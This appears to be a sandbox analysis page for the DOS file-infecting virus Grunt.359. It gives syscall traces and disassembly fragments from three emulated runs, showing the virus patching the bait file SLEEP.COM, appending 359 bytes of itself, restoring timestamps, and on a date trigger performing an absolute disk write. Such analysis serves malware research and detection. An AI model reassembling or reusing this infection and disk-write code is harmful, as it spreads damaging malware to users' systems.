Sample viewer

vx.netlux.org/Virus.DOS.Grunt.359

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:22:39.060264338Z 26 PC: 12bba | Set disk transfer address
2018-12-17T22:22:39.06158691Z 71 PC: 12aed | Get current directory
2018-12-17T22:22:39.065779674Z 78 PC: 12afd | Find first file
2018-12-17T22:22:39.073413104Z 42 PC: 12b12 | Get date 0x12b12: cmp al, 1
0x12b14: jne 0x12b2f
0x12b16: mov ah, 9
0x12b18: lea dx, word ptr [bp + 0x12c]
0x12b1c: int 0x21
0x12b1e: mov ah, 0x2c
0x12b20: int 0x21
0x12b22: mov al, 2
0x12b24: mov cx, 1
0x12b27: mov bx, word ptr ds:[bp + 0x12c]
0x12b2c: int 0x26
0x12b2e: pop dx
0x12b2f: mov ax, 0x3d02
0x12b32: lea dx, word ptr [bp + 0x28a]
0x12b36: int 0x21
0x12b38: xchg ax, bx
0x12b39: mov ah, 0x3f
0x12b3b: lea dx, word ptr [bp + 0x266]
0x12b3f: mov cx, 3
0x12b42: int 0x21
2018-12-17T22:22:39.076291698Z 9 PC: 12b1e | Display string (String= '+ALLERBMU NORI+ (C) 1991 by SMAUG in M�NCHEN, DEUTSCHLAND!')
2018-12-17T22:22:39.088554781Z 44 PC: 12b22 | Get time 0x12b22: mov al, 2
0x12b24: mov cx, 1
0x12b27: mov bx, word ptr ds:[bp + 0x12c]
0x12b2c: int 0x26
0x12b2e: pop dx
0x12b2f: mov ax, 0x3d02
0x12b32: lea dx, word ptr [bp + 0x28a]
0x12b36: int 0x21
0x12b38: xchg ax, bx
0x12b39: mov ah, 0x3f
0x12b3b: lea dx, word ptr [bp + 0x266]
0x12b3f: mov cx, 3
0x12b42: int 0x21
0x12b44: mov ax, word ptr ds:[bp + 0x286]
0x12b49: mov cx, word ptr ds:[bp + 0x267]
0x12b4e: add cx, 0x16a
0x12b52: cmp ax, cx
0x12b54: jne 0x12b5e
0x12b56: mov ah, 0x3e
0x12b58: int 0x21
2018-12-17T22:22:39.091929965Z 61 PC: 12b38 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:22:39.099808417Z 63 PC: 12b44 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:22:39.107629839Z 66 PC: 12bc2 | Move file pointer
2018-12-17T22:22:39.109186869Z 64 PC: 12b76 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:22:39.111992547Z 66 PC: 12bc2 | Move file pointer
2018-12-17T22:22:39.114247675Z 44 PC: 12b7f | Get time 0x12b7f: mov word ptr ds:[bp + 0x264], dx
0x12b84: push cx
0x12b85: push bx
0x12b86: push dx
0x12b87: call 0x22a64
0x12b8a: pop dx
0x12b8b: pop bx
0x12b8c: pop cx
0x12b8d: mov ah, 0x40
0x12b8f: mov cx, 0x167
0x12b92: lea dx, word ptr [bp + 0x103]
0x12b96: int 0x21
0x12b98: mov ax, 0x5701
0x12b9b: mov cx, word ptr ds:[bp + 0x282]
0x12ba0: mov dx, word ptr ds:[bp + 0x284]
0x12ba5: int 0x21
0x12ba7: mov ah, 0x3e
0x12ba9: int 0x21
0x12bab: mov ah, 0x3b
0x12bad: lea dx, word ptr [bp + 0x296]
2018-12-17T22:22:39.116045033Z 64 PC: 12b98 | Write file or device (Write 359 bytes on handle 5)
2018-12-17T22:22:39.134009196Z 87 PC: 12ba7 | Get or set file date and time
2018-12-17T22:22:39.135843675Z 62 PC: 12bab | Close file
2018-12-17T22:22:39.144688949Z 59 PC: 12bb3 | Change current directory
2018-12-17T22:22:39.149279748Z 26 PC: 12bba | Set disk transfer address
2018-12-17T22:22:39.150639976Z 9 PC: 12a47 | Display string (String= 'Dummy bait file - ignore')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":3966,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:50:33.849659263Z 26 PC: 12bba | Set disk transfer address
2018-12-25T11:50:33.85121845Z 71 PC: 12aed | Get current directory
2018-12-25T11:50:33.854824296Z 78 PC: 12afd | Find first file
2018-12-25T11:50:33.86103321Z 42 PC: 12b12 | Get date 0x12b12: cmp al, 1
0x12b14: jne 0x12b2f
0x12b16: mov ah, 9
0x12b18: lea dx, word ptr [bp + 0x12c]
0x12b1c: int 0x21
0x12b1e: mov ah, 0x2c
0x12b20: int 0x21
0x12b22: mov al, 2
0x12b24: mov cx, 1
0x12b27: mov bx, word ptr ds:[bp + 0x12c]
0x12b2c: int 0x26
0x12b2e: pop dx
0x12b2f: mov ax, 0x3d02
0x12b32: lea dx, word ptr [bp + 0x28a]
0x12b36: int 0x21
0x12b38: xchg ax, bx
0x12b39: mov ah, 0x3f
0x12b3b: lea dx, word ptr [bp + 0x266]
0x12b3f: mov cx, 3
0x12b42: int 0x21
2018-12-25T11:50:33.863375215Z 61 PC: 12b38 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:50:33.871003292Z 63 PC: 12b44 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:50:33.877147873Z 66 PC: 12bc2 | Move file pointer
2018-12-25T11:50:33.878655098Z 64 PC: 12b76 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:50:33.88848068Z 66 PC: 12bc2 | Move file pointer (See above)
2018-12-25T11:50:33.889745796Z 44 PC: 12b7f | Get time 0x12b7f: mov word ptr ds:[bp + 0x264], dx
0x12b84: push cx
0x12b85: push bx
0x12b86: push dx
0x12b87: call 0x22a64
0x12b8a: pop dx
0x12b8b: pop bx
0x12b8c: pop cx
0x12b8d: mov ah, 0x40
0x12b8f: mov cx, 0x167
0x12b92: lea dx, word ptr [bp + 0x103]
0x12b96: int 0x21
0x12b98: mov ax, 0x5701
0x12b9b: mov cx, word ptr ds:[bp + 0x282]
0x12ba0: mov dx, word ptr ds:[bp + 0x284]
0x12ba5: int 0x21
0x12ba7: mov ah, 0x3e
0x12ba9: int 0x21
0x12bab: mov ah, 0x3b
0x12bad: lea dx, word ptr [bp + 0x296]
2018-12-25T11:50:33.891884198Z 64 PC: 12b98 | Write file or device (Write 359 bytes on handle 5)
2018-12-25T11:50:34.725845399Z 87 PC: 12ba7 | Get or set file date and time
2018-12-25T11:50:34.727628242Z 62 PC: 12bab | Close file
2018-12-25T11:50:34.73545055Z 59 PC: 12bb3 | Change current directory
2018-12-25T11:50:34.740691981Z 26 PC: 12bba | Set disk transfer address (See above)
2018-12-25T11:50:34.742084187Z 9 PC: 12a47 | Display string (String= 'Dummy bait file - ignore')

{"DateBased":true,"Day":7,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":3966,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:50:33.893400738Z 26 PC: 12bba | Set disk transfer address
2018-12-25T11:50:33.895583976Z 71 PC: 12aed | Get current directory
2018-12-25T11:50:33.898815074Z 78 PC: 12afd | Find first file
2018-12-25T11:50:33.905538488Z 42 PC: 12b12 | Get date 0x12b12: cmp al, 1
0x12b14: jne 0x12b2f
0x12b16: mov ah, 9
0x12b18: lea dx, word ptr [bp + 0x12c]
0x12b1c: int 0x21
0x12b1e: mov ah, 0x2c
0x12b20: int 0x21
0x12b22: mov al, 2
0x12b24: mov cx, 1
0x12b27: mov bx, word ptr ds:[bp + 0x12c]
0x12b2c: int 0x26
0x12b2e: pop dx
0x12b2f: mov ax, 0x3d02
0x12b32: lea dx, word ptr [bp + 0x28a]
0x12b36: int 0x21
0x12b38: xchg ax, bx
0x12b39: mov ah, 0x3f
0x12b3b: lea dx, word ptr [bp + 0x266]
0x12b3f: mov cx, 3
0x12b42: int 0x21
2018-12-25T11:50:33.908075306Z 9 PC: 12b1e | Display string (String= '+ALLERBMU NORI+ (C) 1991 by SMAUG in M�NCHEN, DEUTSCHLAND!')
2018-12-25T11:50:33.915611505Z 44 PC: 12b22 | Get time 0x12b22: mov al, 2
0x12b24: mov cx, 1
0x12b27: mov bx, word ptr ds:[bp + 0x12c]
0x12b2c: int 0x26
0x12b2e: pop dx
0x12b2f: mov ax, 0x3d02
0x12b32: lea dx, word ptr [bp + 0x28a]
0x12b36: int 0x21
0x12b38: xchg ax, bx
0x12b39: mov ah, 0x3f
0x12b3b: lea dx, word ptr [bp + 0x266]
0x12b3f: mov cx, 3
0x12b42: int 0x21
0x12b44: mov ax, word ptr ds:[bp + 0x286]
0x12b49: mov cx, word ptr ds:[bp + 0x267]
0x12b4e: add cx, 0x16a
0x12b52: cmp ax, cx
0x12b54: jne 0x12b5e
0x12b56: mov ah, 0x3e
0x12b58: int 0x21
2018-12-25T11:50:33.918485911Z 61 PC: 12b38 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:50:33.925541812Z 63 PC: 12b44 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:50:33.941040295Z 66 PC: 12bc2 | Move file pointer
2018-12-25T11:50:33.942631831Z 64 PC: 12b76 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:50:33.94564027Z 66 PC: 12bc2 | Move file pointer (See above)
2018-12-25T11:50:33.947363959Z 44 PC: 12b7f | Get time 0x12b7f: mov word ptr ds:[bp + 0x264], dx
0x12b84: push cx
0x12b85: push bx
0x12b86: push dx
0x12b87: call 0x22a64
0x12b8a: pop dx
0x12b8b: pop bx
0x12b8c: pop cx
0x12b8d: mov ah, 0x40
0x12b8f: mov cx, 0x167
0x12b92: lea dx, word ptr [bp + 0x103]
0x12b96: int 0x21
0x12b98: mov ax, 0x5701
0x12b9b: mov cx, word ptr ds:[bp + 0x282]
0x12ba0: mov dx, word ptr ds:[bp + 0x284]
0x12ba5: int 0x21
0x12ba7: mov ah, 0x3e
0x12ba9: int 0x21
0x12bab: mov ah, 0x3b
0x12bad: lea dx, word ptr [bp + 0x296]
2018-12-25T11:50:33.949387417Z 64 PC: 12b98 | Write file or device (Write 359 bytes on handle 5)
2018-12-25T11:50:33.960131121Z 87 PC: 12ba7 | Get or set file date and time
2018-12-25T11:50:33.962974102Z 62 PC: 12bab | Close file
2018-12-25T11:50:33.971395334Z 59 PC: 12bb3 | Change current directory
2018-12-25T11:50:33.975566879Z 26 PC: 12bba | Set disk transfer address (See above)
2018-12-25T11:50:33.977051051Z 9 PC: 12a47 | Display string (String= 'Dummy bait file - ignore')